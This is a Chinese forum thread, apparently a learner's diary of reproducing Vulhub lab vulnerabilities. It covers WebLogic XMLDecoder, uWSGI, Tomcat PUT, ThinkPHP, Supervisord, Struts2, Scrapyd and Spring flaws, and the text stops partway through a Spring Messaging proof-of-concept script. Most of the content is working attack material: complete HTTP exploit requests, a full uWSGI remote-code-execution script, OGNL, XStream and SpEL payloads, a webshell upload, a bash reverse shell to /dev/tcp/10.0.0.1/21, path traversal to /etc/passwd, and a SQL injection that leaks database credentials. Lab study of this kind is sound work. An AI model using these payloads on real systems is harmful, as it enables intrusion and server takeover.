安全矩阵

 找回密码
 立即注册
搜索
楼主: sandalwood

马鹏雲的学习日记

[复制链接]

249

主题

299

帖子

1391

积分

金牌会员

Rank: 6Rank: 6

积分
1391
 楼主| 发表于 2021-11-24 22:32:14 | 显示全部楼层
# Weblogic < 10.3.6 'wls-wsat' XMLDecoder 反序列化漏洞(CVE-2017-10271)            

## 漏洞涉及版本

- 10.3.6.0
- 12.1.3.0.0
- 12.2.1.1.0

---



访问 `http://your-ip:7001/` 即可看到一个 404 页面,说明 weblogic 已成功启动:

![image-20211124220558335](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211124220558335.png)





```

Error 404--Not Found
From RFC 2068 Hypertext Transfer Protocol -- HTTP/1.1:
10.4.5 404 Not Found

The server has not found anything matching the Request-URI. No indication is given of whether the condition is temporary or permanent.

If the server does not wish to make this information available to the client, the status code 403 (Forbidden) can be used instead. The 410 (Gone) status code SHOULD be used if the server knows, through some internally configurable mechanism, that an old resource is permanently unavailable and has no forwarding address.

```

## 初步判断

访问

```
http://your-ip:7001/wls-wsat/CoordinatorPortType11
```

存在下图则说明可能存在漏洞

![image-20211124222028913](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211124222028913.png)

```
Web Services
Endpoint                                 Information
Service Name:                        {http://docs.oasis-open.org/ws-tx/wsat/2006/06}WSAT11Service
Port Name:                                {http://docs.oasis-open.org/ws-tx/wsat/2006/06}CoordinatorPort
       
Address:                                http://127.0.0.1:7001/wls-wsat/CoordinatorPortType11
WSDL:                                        http://127.0.0.1:7001/wls-wsat/CoordinatorPortType11?wsdl
Implementation class:        weblogic.wsee.wstx.wsat.v11.endpoint.CoordinatorPortImpl

```



## 漏洞复现

发送如下数据包(注意其中反弹 shell 的语句,需要进行编码,否则解析 XML 的时候将出现格式错误):

```
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/10.0.0.1/21 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope
```

成功获取 shell:

写入 webshell(访问:http://your-ip:7001/bea_wls_internal/test.jsp):

```
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java><java version="1.4.0" class="java.beans.XMLDecoder">
    <object class="java.io.PrintWriter">
    <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
    <void method="println"><string>
    <![CDATA[
<% out.print("test"); %>
    ]]>
    </string>
    </void>
    <void method="close"/>
    </object></java></java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>


```

![image-20211124221813085](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211124221813085.png)

```
test
```


# uWSGI 未授权访问漏洞            

首先我们先在GitHub上找到这个漏洞对应的poc文件:

```Python
#!/usr/bin/python
# coding: utf-8
######################
# Uwsgi RCE Exploit
######################
# Author: wofeiwo@80sec.com
# Created: 2017-7-18
# Last modified: 2018-1-30
# Note: Just for research purpose

import sys
import socket
import argparse
import requests

def sz(x):
    s = hex(x if isinstance(x, int) else len(x))[2:].rjust(4, '0')
    s = bytes.fromhex(s) if sys.version_info[0] == 3 else s.decode('hex')
    return s[::-1]


def pack_uwsgi_vars(var):
    pk = b''
    for k, v in var.items() if hasattr(var, 'items') else var:
        pk += sz(k) + k.encode('utf8') + sz(v) + v.encode('utf8')
    result = b'\x00' + sz(pk) + b'\x00' + pk
    return result


def parse_addr(addr, default_port=None):
    port = default_port
    if isinstance(addr, str):
        if addr.isdigit():
            addr, port = '', addr
        elif ':' in addr:
            addr, _, port = addr.partition(':')
    elif isinstance(addr, (list, tuple, set)):
        addr, port = addr
    port = int(port) if port else port
    return (addr or '127.0.0.1', port)


def get_host_from_url(url):
    if '//' in url:
        url = url.split('//', 1)[1]
    host, _, url = url.partition('/')
    return (host, '/' + url)


def fetch_data(uri, payload=None, body=None):
    if 'http' not in uri:
        uri = 'http://' + uri
    s = requests.Session()
    # s.headers['UWSGI_FILE'] = payload
    if body:
        import urlparse
        body_d = dict(urlparse.parse_qsl(urlparse.urlsplit(body).path))
        d = s.post(uri, data=body_d)
    else:
        d = s.get(uri)

    return {
        'code': d.status_code,
        'text': d.text,
        'header': d.headers
    }


def ask_uwsgi(addr_and_port, mode, var, body=''):
    if mode == 'tcp':
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(parse_addr(addr_and_port))
    elif mode == 'unix':
        s = socket.socket(socket.AF_UNIX)
        s.connect(addr_and_port)
    s.send(pack_uwsgi_vars(var) + body.encode('utf8'))
    response = []
    # Actually we dont need the response, it will block if we run any commands.
    # So I comment all the receiving stuff.
    # while 1:
    #     data = s.recv(4096)
    #     if not data:
    #         break
    #     response.append(data)
    s.close()
    return b''.join(response).decode('utf8')


def curl(mode, addr_and_port, payload, target_url):
    host, uri = get_host_from_url(target_url)
    path, _, qs = uri.partition('?')
    if mode == 'http':
        return fetch_data(addr_and_port+uri, payload)
    elif mode == 'tcp':
        host = host or parse_addr(addr_and_port)[0]
    else:
        host = addr_and_port
    var = {
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'REQUEST_METHOD': 'GET',
        'PATH_INFO': path,
        'REQUEST_URI': uri,
        'QUERY_STRING': qs,
        'SERVER_NAME': host,
        'HTTP_HOST': host,
        'UWSGI_FILE': payload,
        'SCRIPT_NAME': target_url
    }
    return ask_uwsgi(addr_and_port, mode, var)


def main(*args):
    desc = """
    This is a uwsgi client & RCE exploit.
    Last modifid at 2018-01-30 by wofeiwo@80sec.com
    """
    elog = "Example:uwsgi_exp.py -u 1.2.3.4:5000 -c \"echo 111>/tmp/abc\""
   
    parser = argparse.ArgumentParser(description=desc, epilog=elog)

    parser.add_argument('-m', '--mode', nargs='?', default='tcp',
                        help='Uwsgi mode: 1. http 2. tcp 3. unix. The default is tcp.',
                        dest='mode', choices=['http', 'tcp', 'unix'])

    parser.add_argument('-u', '--uwsgi', nargs='?', required=True,
                        help='Uwsgi server: 1.2.3.4:5000 or /tmp/uwsgi.sock',
                        dest='uwsgi_addr')

    parser.add_argument('-c', '--command', nargs='?', required=True,
                        help='Command: The exploit command you want to execute, must have this.',
                        dest='command')

    if len(sys.argv) < 2:
        parser.print_help()
        return
    args = parser.parse_args()
    if args.mode.lower() == "http":
        print("[-]Currently only tcp/unix method is supported in RCE exploit.")
        return
    payload = 'exec://' + args.command + "; echo test" # must have someting in output or the uWSGI crashs.
    print("
  • Sending payload.")
        print(curl(args.mode.lower(), args.uwsgi_addr, payload, '/testapp'))

    if __name__ == '__main__':
        main()
    ```

    使用 [poc.py](https://link.wangan.com/check?li ... gi%2Funacc%2Fpoc.py),执行命令 `python poc.py -u your-ip:8000 -c "touch /tmp/success"`:

    ```
    docker-compose exec web bash                                                                                                                                                                              1 ⨯
    root@b358f1720bed:/usr/src# ls /tmp
    root@b358f1720bed:/usr/src# exit
    exit
                                                                                                                                                                                                                      
    ┌──(root????kali)-[/home/…/Desktop/vulhub/uwsgi/unacc]
    └─# python poc.py -u 127.0.0.1:8000 -c "touch /tmp/success"
  • Sending payload.

                                                                                                                                                                                                                      
    ┌──(root????kali)-[/home/…/Desktop/vulhub/uwsgi/unacc]
    └─# docker-compose exec web bash                           
    root@b358f1720bed:/usr/src# ls /tmp
    success

    ```

    ![image-20211124214909049](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211124214909049.png)


    # uWSGI PHP目录穿越漏洞(CVE-2018-7490)            

    运行完成后,访问 `http://your-ip:8080/` 即可看到 phpinfo 信息,说明 uwsgi-php 服务器已成功运行:

    ![image-20211124213426747](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211124213426747.png)



    ## 漏洞复现

    访问 `http://your-ip:8080/..%2f..%2f..%2f..%2f..%2fetc/passwd`,成功读取文件:

    ```
    root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/bin/false
    ```

    ![image-20211124213540836](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211124213540836.png)

    # Tomcat PUT方法任意写文件漏洞(CVE-2017-12615)            

    Tomcat 版本:8.5.19



    ---

    打开后是这样的:



    ![image-20211124162343101](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211124162343101.png)



    用burpsuite抓包,将数据包修改如下:

    ```
    PUT /2.jsp%20 HTTP/1.1
    Host: your-ip:8080
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 532

    shell
    ```

    点击forward后,访问地址:

    ```
    http://127.0.0.1:8080/2.jsp?cmd=id
    ```

    ![image-20211124163109609](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211124163109609.png)

    ```
    shell


    ```

    # ThinkPHP5 SQL注入漏洞 && 敏感信息泄露            

    启动后,访问 `http://your-ip/index.php?ids[]=1&ids[]=2`,即可看到用户名被显示了出来,说明环境运行成功:

    ![image-20211124161838172](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211124161838172.png)

    ```
    <p>Hello, admin</p><p>Hello, test</p>
    ```

    访问 `http://your-ip/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1`,信息成功被爆出:

    ![image-20211124162021617](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211124162021617.png)

    ```
    Database Config type         mysql
    hostname                                 mysql
    database                                 cat
    username                 root
    password         root
    ```

    # ThinkPHP5 5.0.23 远程代码执行漏洞            

    打开后是thinkPHP的主页面:

    ![image-20211124154608083](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211124154608083.png)

    ### 漏洞复现

    发送数据包(注意在这里的数据包不需要空两行):

    ```
    POST /index.php?s=captcha HTTP/1.1
    Host: localhost
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 72

    _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
    ```

    ![image-20211124154900673](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211124154900673.png)

    成功执行 id 命令:

    ![image-20211124160515788](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211124160515788.png)

    ```
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    ```

    # ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞            

    打开后是thinkPHP的主页面:

    ![image-20211124154551843](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211124154551843.png)





    ## 漏洞复现

    直接访问

    ```
    http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
    ```

    即可执行 phpinfo:

    ![image-20211124154300596](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211124154300596.png)


    # ThinkPHP 2.x 任意代码执行漏洞            

    环境启动后,访问 `http://your-ip:8080/Index/Index` 即可查看到默认页面:

    ![image-20211124153428815](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211124153428815.png)

    ```
    <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
    <html><head>
    <title>404 Not Found</title>
    </head><body>
    <h1>Not Found</h1>
    <p>The requested URL /Index/Index was not found on this server.</p>
    <hr>
    <address>Apache/2.4.10 (Debian) Server at 127.0.0.1 Port 8080</address>
    </body></html>
    ```

    直接访问

    ```
    http://your-ip:8080/index.php?s=/index/index/name/$%7B@phpinfo()%7D
    ```

    即可执行 `phpinfo()`:

    ![image-20211124153601703](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211124153601703.png)

    # Supervisord 远程命令执行漏洞(CVE-2017-11610)            

    环境启动后,访问 `http://your-ip:9001` 即可查看 Supervisord 的页面:

    ![image-20211124152518939](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211124152518939.png)

    ```
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html>
    <head>
      <title>Supervisor Status</title>
      <link href="stylesheets/supervisor.css" rel="stylesheet" type="text/css" />
      <link href="images/icon.png" rel="icon" type="image/png" />
    </head>
    <body>
    <div id="wrapper">

      <div id="header">
        <img alt="Supervisor status" src="images/supervisor.gif" />
      </div>

      <div>
        <div class="hidden">#</div>

        <form action="index.html" method="post">
          <ul class="clr" id="buttons">
            <li id="refresh"><a href="index.html?action=refresh">&nbsp;</a></li>
            <li id="restart_all"><a href="index.html?action=restartall">&nbsp;</a></li>
            <li id="stop_all"><a href="index.html?action=stopall">&nbsp;</a></li>
          </ul>

          No programs to manage</form>

      </div>

      <div class="push">
      </div>
    </div>

    <div class="clr" id="footer">
      <div class="left">
        <a href="http://supervisord.org">Supervisor</a> <span>3.3.2</span>
      </div>
      <div class="right">
        &copy; 2006-<span>2021</span> <strong><a href="http://agendaless.com/">Agendaless Consulting and Contributors</a></strong>
      </div>
    </div>
    </body>
    </html>
    ```

    直接执行任意命令:

    ```
    POST /RPC2 HTTP/1.1
    Host: localhost
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 213

    <?xml version="1.0"?>
    <methodCall>
    <methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
    <params>
    <param>
    <string>touch /tmp/success</string>
    </param>
    </params>
    </methodCall>


    ```

    进入到docker容器中,可以发现命令以及被执行:

    ```
    docker-compose exec web bash   
    root@7f208e15b6c3:/# ls /tmp
    success  supervisor.sock  supervisord.log  supervisord.pid
    ```

    ![image-20211124153037057](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211124153037057.png)

    # Struts2 S2-057 远程代码执行漏洞 (CVE-2018-11776)            

    影响版本: <= Struts 2.3.34, Struts 2.5.16



    ---

    打开后是这样的:

    环境部署后,观察 `http://your-ip:8080/showcase/` 你会看见 Struts2 测试页:

    ![image-20211124151600520](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211124151600520.png)

    用户将从 uri 传递命名空间,并将其解析为 OGNL 表达式,最终导致远程代码执行漏洞
    Payload:

    ```
    http://your-ip:8080/struts2-showcase/$%7B233*233%7D/actionChain1.action
    ```



    ![image-20211124152006350](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211124152006350.png)

    在response中得到如下内容:

    ```
    Location: /struts2-showcase/54289/register2.action
    ```

    ![image-20211124152203895](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211124152203895.png)

    # S2-053 远程代码执行漏洞 (CVE-2017-12611)            

    影响版本: Struts 2.0.1 - Struts 2.3.33, Struts 2.5 - Struts 2.5.10

    ---

    打开后是这样的:

    ![image-20211124145614291](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211124145614291.png)

    ```
    <html>
      <head>
        <title>$Title$</title>
      </head>
      <body>
      $END$
      </body>
    </html>
    ```

    环境运行后,访问 `http://your-ip:8080/hello.action` 即可看到一个提交页面:

    ![image-20211124150500556](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211124150500556.png)

    ```
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <title>Hello</title>
    </head>
    <body>
    <p>Your url: https://www.leavesongs.com</p>

    <form id="hello" name="hello" action="/hello.action" method="post">
    <table class="wwFormTable"><tr>
        <td class="tdLabel"><label for="hello_redirectUri" class="label">Your url:</label></td>
        <td
    ><textarea name="redirectUri" cols="100" rows="20" id="hello_redirectUri" description="...">https://www.leavesongs.com</textarea></td>
    </tr>

    <tr>
        <td colspan="2"><div align="right"><input type="submit" id="hello_0" value="Submit"/>
    </div></td>
    </tr>

    </table></form>

    </body>
    </html>
    ```



    ## 漏洞复现

    Struts2 在使用 Freemarker 模板引擎的时候,同时允许解析 OGNL 表达式。导致用户输入的数据本身不会被 OGNL 解析,但由于被 Freemarker 解析一次后变成离开一个表达式,被 OGNL 解析第二次,导致任意命令执行漏洞。

    输入如下 Payload 即可成功执行命令(记得要空两行):

    ```
    %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm)(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}


    ```

    ![image-20211124150925049](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211124150925049.png)

    # S2-052 远程代码执行漏洞 (CVE-2017-9805)

    影响版本: Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12



    ---

    漏洞说明

    Struts2-Rest-Plugin 是让 Struts2 能够实现 Restful API 的一个插件,其根据 Content-Type 或 URI 扩展名来判断用户传入的数据包类型,有如下映射表:

    扩展名         Content-Type         解析方法
    xml         application/xml         xstream
    json         application/json         jsonlib 或 jackson (可选)
    xhtml         application/xhtml+xml         无
    无         application/x-www-form-urlencoded         无
    无         multipart/form-data         无

    ---



    启动环境后,访问 http://your-ip:8080/orders.xhtml 即可看到 showcase 页面:

    ![image-20211124144738490](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211124144738490.png)

    由于 rest-plugin 会根据 URI 扩展名或 Content-Type 来判断解析方法,所以我们只需要修改 orders.xhtml 为 orders.xml 或修改 Content-Type 头为 application/xml,即可在 Body 中传递 XML 数据。

    所以,最后发送的数据包为:

    ```
    POST /orders/3/edit HTTP/1.1
    Host: your-ip:8080
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/xml
    Content-Length: 2415

    <map>
      <entry>
        <jdk.nashorn.internal.objects.NativeString>
          <flags>0</flags>
          <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
            <dataHandler>
              <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
                <is class="javax.crypto.CipherInputStream">
                  <cipher class="javax.crypto.NullCipher">
                    <initialized>false</initialized>
                    <opmode>0</opmode>
                    <serviceIterator class="javax.imageio.spi.FilterIterator">
                      <iter class="javax.imageio.spi.FilterIterator">
                        <iter class="java.util.Collections$EmptyIterator"/>
                        <next class="java.lang.ProcessBuilder">
                          <command>
                            <string>touch</string>
                            <string>/tmp/success</string>
                          </command>
                          <redirectErrorStream>false</redirectErrorStream>
                        </next>
                      </iter>
                      <filter class="javax.imageio.ImageIO$ContainsFilter">
                        <method>
                          <class>java.lang.ProcessBuilder</class>
                          <name>start</name>
                          <parameter-types/>
                        </method>
                        <name>foo</name>
                      </filter>
                      <next class="string">foo</next>
                    </serviceIterator>
                    <lock/>
                  </cipher>
                  <input class="java.lang.ProcessBuilder$NullInputStream"/>
                  <ibuffer></ibuffer>
                  <done>false</done>
                  <ostart>0</ostart>
                  <ofinish>0</ofinish>
                  <closed>false</closed>
                </is>
                <consumed>false</consumed>
              </dataSource>
              <transferFlavors/>
            </dataHandler>
            <dataLen>0</dataLen>
          </value>
        </jdk.nashorn.internal.objects.NativeString>
        <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
      </entry>
      <entry>
        <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
        <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
      </entry>
    </map>


    ```

    以上数据包成功执行的话,会在 docker 容器内创建文件 **/tmp/success**,执行

    ```
    docker-compose exec struts2 ls /tmp/
    ```

    即可看到:

    ![image-20211124145125175](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211124145125175.png)

    ```
    docker-compose exec struts2 bash
    root@68ebe1661bbb:/usr/local/tomcat# ls /tmp
    hsperfdata_root  success
    ```

  • 回复

    使用道具 举报

    249

    主题

    299

    帖子

    1391

    积分

    金牌会员

    Rank: 6Rank: 6

    积分
    1391
     楼主| 发表于 2021-11-25 22:25:48 | 显示全部楼层
    # Scrapyd未经身份验证的远程代码执行(Scrapyd Unauthenticated Remote Code Execution)            

    Reproduce 复制

    建立一个 evil egg archive:

    ```
    pip install scrapy scrapyd-client
    ```

    ![image-20211125111550064](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211125111550064.png)



    ```
    scrapy startproject evil
    ```

    ![image-20211125111611507](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211125111611507.png)

    > scrapy startproject evil
    >
    >
    >
    > New Scrapy project 'evil', using template directory '/usr/local/lib/python3.9/dist-packages/scrapy/templates/project', created in:
    >  /home/kali/Desktop/vulhub/scrapy/scrapyd-unacc/evil
    >
    > You can start your first spider with:
    >  cd evil
    >  scrapy genspider example example.com



    ```
    cd evil

    scrapyd-deploy --build-egg=evil.egg
    ```

    ![image-20211125111653847](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211125111653847.png)



    上传 evil egg 到 scrapyd 服务器:

    ```
    curl http://your-ip:6800/addversion.json -F project=evil -F version=r01 -F egg=@evil.egg
    ```

    ![image-20211125111706378](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211125111706378.png)

    可以反弹 shell

    回复

    使用道具 举报

    249

    主题

    299

    帖子

    1391

    积分

    金牌会员

    Rank: 6Rank: 6

    积分
    1391
     楼主| 发表于 2021-11-30 22:16:32 | 显示全部楼层
    至此,vulhub靶场已经全部看过一遍(有一部分没有发出来是因为因为系统原因没有成功搭建环境,后面再慢慢把剩下的做完。)
    打算从明天开始开始看看编程(语言)方面的东西了

    # Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)

    环境启动后,访问 http://your-ip:8080/users,将可以看到一个用户注册页面。

    ![image-20211130220132636](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211130220132636.png)



    ```
        user0 - $2a$10$HbS1UKDOkD2nQ.ryeAE3guq5EI.w59ERkrEk7vVpyXne36Cg7zcqG
        user1 - $2a$10$rdzLRFF/1ed6grV9t2wIhOJM7h/rro19hVo0Tl9vrI9gGvxYlXF0i
        user2 - $2a$10$2ZYc36lTDC2TAjAdPpdN3ujnrAUC.ZIBBf1bsrffH.38rYWkehSEG
        user3 - $2a$10$FEyMBOTDD9KGVIvLuD3N1eSEKc11NLRn3BSqmC9fFa8wMqe9Ku9QS
        user4 - $2a$10$ibxY8qlDFkrZDd0XaINB6.qjYkJK0YmZBEzbSsPmRE0.usLLGNywi

    ```

    参考前面链接中的 Payload,在注册的时候抓包,并修改成如下数据包:

    ```
    POST /users?page=&size=5 HTTP/1.1
    Host: localhost:8080
    Connection: keep-alive
    Content-Length: 124
    Pragma: no-cache
    Cache-Control: no-cache
    Origin: http://localhost:8080
    Upgrade-Insecure-Requests: 1
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
    Referer: http://localhost:8080/users?page=0&size=5
    Accept-Encoding: gzip, deflate, br
    Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

    username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=
    ```

    ![image-20211130220232596](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211130220232596.png)

    点击forward后,得到如下信息:

    ```
    Whitelabel Error Page

    This application has no explicit mapping for /error, so you are seeing this as a fallback.
    Tue Nov 30 14:02:55 UTC 2021
    There was an unexpected error (type=Internal Server Error, status=500).
    Invalid property 'username' of bean class [example.users.web.$Proxy91]: Getter for property 'username' threw exception; nested exception is java.lang.reflect.InvocationTargetException
    ```

    ![image-20211130220315001](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211130220315001.png)

    执行

    ```
    docker-compose exec spring bash
    ```

    进入容器中,可见成功创建 /tmp/success,说明命令执行成功:

    ![image-20211130220355976](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211130220355976.png)

    ```
    docker-compose exec spring bash
    root@ee79b27bb09d:/# ls -al /tmp
    total 24
    drwxrwxrwt 1 root root 4096 Nov 30 14:02 .
    drwxr-xr-x 1 root root 4096 Nov 30 13:59 ..
    drwxr-xr-x 1 root root 4096 Nov 30 13:59 hsperfdata_root
    -rw-r--r-- 1 root root    0 Nov 30 14:02 success
    drwxr-xr-x 2 root root 4096 Nov 30 13:59 tomcat-docbase.4268668909928004027.8080
    drwxr-xr-x 3 root root 4096 Nov 30 13:59 tomcat.1939611215524989570.8080

    ```



    # Spring Messaging 远程命令执行漏洞(CVE-2018-1270)

    环境启动后,访问 http://your-ip:8080 即可看到一个 Web 页面。





    网上大部分文章都说 spring messaging 是基于 websocket 通信,其实不然。spring messaging 是基于 sockjs(可以理解为一个通信协议),而 sockjs 适配多种浏览器:现代浏览器中使用 websocket 通信,老式浏览器中使用 ajax 通信。



    连接后端服务器的流程,可以理解为:

        用 STOMP 协议将数据组合成一个文本流
        用 sockjs 协议发送文本流,sockjs 会选择一个合适的通道:websocket 或 xhr (http),与后端通信

    所以我们可以使用 http 来复现漏洞,称之为 “降维打击”。



    我编写了一个简单的 POC 脚本 exploit.py(需要用 python3.6 执行),因为该漏洞是订阅的时候插入 SpEL 表达式,而对方向这个订阅发送消息时才会触发,所以我们需要指定的信息有:

    > 基础地址,在 vulhub 中为 http://your-ip:8080/gs-guide-websocket
    > 待执行的 SpEL 表达式,如 T(java.lang.Runtime).getRuntime().exec('touch /tmp/success')
    > 某一个订阅的地址,如 vulhub 中为:/topic/greetings
    > 如何触发这个订阅,即如何让后端向这个订阅发送消息。在 vulhub 中,我们向 /app/hello 发送一个包含 name 的 json,即可触发这个事件。当然在实战中就不同了,所以这个 poc 并不具有通用性。

    访问地址:http://your-ip:8080/gs-guide-websocket

    ![image-20211130215315765](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211130215315765.png)

    ```
    Welcome to SockJS!

    ```

    根据你自己的需求修改 POC。如果是 vulhub 环境,你只需修改 1 中的 url 即可。

    poc代码如下:

    ```
    #!/usr/bin/env python3
    import requests
    import random
    import string
    import time
    import threading
    import logging
    import sys
    import json

    logging.basicConfig(stream=sys.stdout, level=logging.INFO)

    def random_str(length):
        letters = string.ascii_lowercase + string.digits
        return ''.join(random.choice(letters) for c in range(length))


    class SockJS(threading.Thread):
        def __init__(self, url, *args, **kwargs):
            super().__init__(*args, **kwargs)
            self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'
            self.daemon = True
            self.session = requests.session()
            self.session.headers = {
                'Referer': url,
